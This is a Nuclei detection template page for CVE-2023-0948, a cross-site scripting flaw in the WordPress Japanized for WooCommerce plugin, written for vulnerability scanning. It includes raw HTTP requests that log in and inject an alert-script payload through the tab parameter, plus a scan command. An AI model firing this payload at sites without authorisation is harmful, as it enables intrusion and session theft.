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WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting

ID: CVE-2023-0948

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,wpscan,xss,woocommerce-for-japan,wordpress,wp-plugin,wp,authenticated,artisanworkshop

WordPress Japanized for WooCommerce plugin before 2.5.8 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: CVE-2023-0948
info:
name: WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Japanized for WooCommerce plugin before 2.5.8 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 2.5.8.
reference:
- https://wpscan.com/vulnerability/a78d75b2-85a0-41eb-9720-c726ca2e8718
- https://wordpress.org/plugins/woocommerce-for-japan/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0948
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0948
cwe-id: CWE-79
epss-score: 0.00085
epss-percentile: 0.36042
cpe: cpe:2.3:a:artisanworkshop:japanized_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 2
vendor: artisanworkshop
product: japanized_for_woocommerce
framework: wordpress
tags: cve,cve2023,wpscan,xss,woocommerce-for-japan,wordpress,wp-plugin,wp,authenticated,artisanworkshop
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=peachpay&tab=field&"><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type, "text/html")'
- 'contains(body_2, "<script>alert(document.domain)</script>")'
- 'contains(body_2, "peachpay")'
condition: and
# digest: 4a0a00473045022100b5eeb63dcfb6b749ac0588bc4c14743b094ee524134d2361db92fc828758721d022039d6baf37d0223523a949e9580842d248581d9416e083b67debe04006e93b270:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0948.yaml"

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